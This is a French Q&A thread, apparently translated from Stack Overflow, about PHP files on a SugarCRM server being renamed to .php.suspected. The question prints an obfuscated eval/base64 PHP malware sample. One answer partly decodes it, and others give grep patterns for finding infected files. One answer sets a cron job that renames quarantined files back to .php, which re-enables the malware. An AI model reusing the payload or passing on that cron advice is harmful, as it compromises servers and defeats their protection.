web-dev-qa-db-fra.com

fichier php automatiquement renommé php.suspected

Depuis 4 jours, nous sommes confrontés à un problème étrange sur notre serveur de production (instance AWS EC2) spécifique à un seul site, SugarCRM.

Le problème est /home/file_site/public_html/include/MassUpdate.php. Le fichier est renommé automatiquement en /home/file_site/public_html/include/MassUpdate.php.suspected.

Cela se produit 2 à 3 fois par jour avec 3 à 4 heures d’écart. Ce problème se produit uniquement dans le cas d'un site spécifique, même s'il ne se produit pas pour la réplication intermédiaire du même site. J'ai même vérifié le code de ce fichier sur les deux sites, c'est pareil.

Nous avons vu Google et trouvé, ce problème se produit principalement pour les sites Wordpress et pourrait être en raison d'une attaque. Mais nous avons vérifié notre serveur contre l'attaque, il n'y en a pas. En outre, aucune analyse de virus/programmes malveillants ne s'exécute sur le serveur.

Que devrions nous faire?

Mise à jour: Nous avons trouvé peu de choses après avoir parcouru ce link Nous avons exécuté egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ et constaté qu'il y avait peu de fichiers avec l'exemple de code suivant.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

Il semble y avoir des malwares, comment on les supprime définitivement?

Merci

12
Amol Chakane

En affichant cette réponse, cela pourrait aider les autres.

  1. Créez un fichier avec '.sh' extension à l'emplacement de votre choix.
  2. Ajoutez le code suivant dedans.

#Rename your_file_name.php.suspected to your_file_name.php mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php

  1. Enregistrez ce fichier.
  2. Définissez cron toutes les 10 minutes (ou selon l’intervalle souhaité), en utilisant la ligne suivante dans crontab

*/10 * * * * path_to_cron_file.sh

  1. Redémarrez le service crontab.

Vous aurez beaucoup de documentation sur la création de cron sur Google.

0
Amol Chakane

C'est un peu obscurci, mais je l'ai désobscurci. La fonction flnftovr prend une chaîne et un tableau comme arguments. Il crée une nouvelle chaîne $ ggy en utilisant la formule 

isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}

Il ajoute ensuite base64_decode à la chaîne.

La chaîne est $ s, le tableau est $ koicev. Il évalue ensuite le résultat de cette manipulation. Alors éventuellement une chaîne est créée:

base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)

Donc, ce qui est réellement exécuté sur votre serveur est:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(isset($_SERVER)
encode(serialize($res));
}

Si vous ne créez pas cela et que vous soupçonnez que votre site a été piraté, je vous suggère d'essuyer le serveur et de créer une nouvelle installation des applications exécutées sur votre serveur.

2
Alan Apter

Le changement de nom des fichiers .php en .php.suspected continue de se produire aujourd'hui. Les commandes suivantes ne doivent pas fournir quelque chose:

find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print

Dans mon cas, les fichiers infectés pourraient être localisés avec les commandes suivantes:

cd <web site root>
egrep -Rl '\$GLOBALS.*\\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'

J'ai préparé une description plus longue du problème et de la manière de le résoudre à GitHub .

0
Javier Elices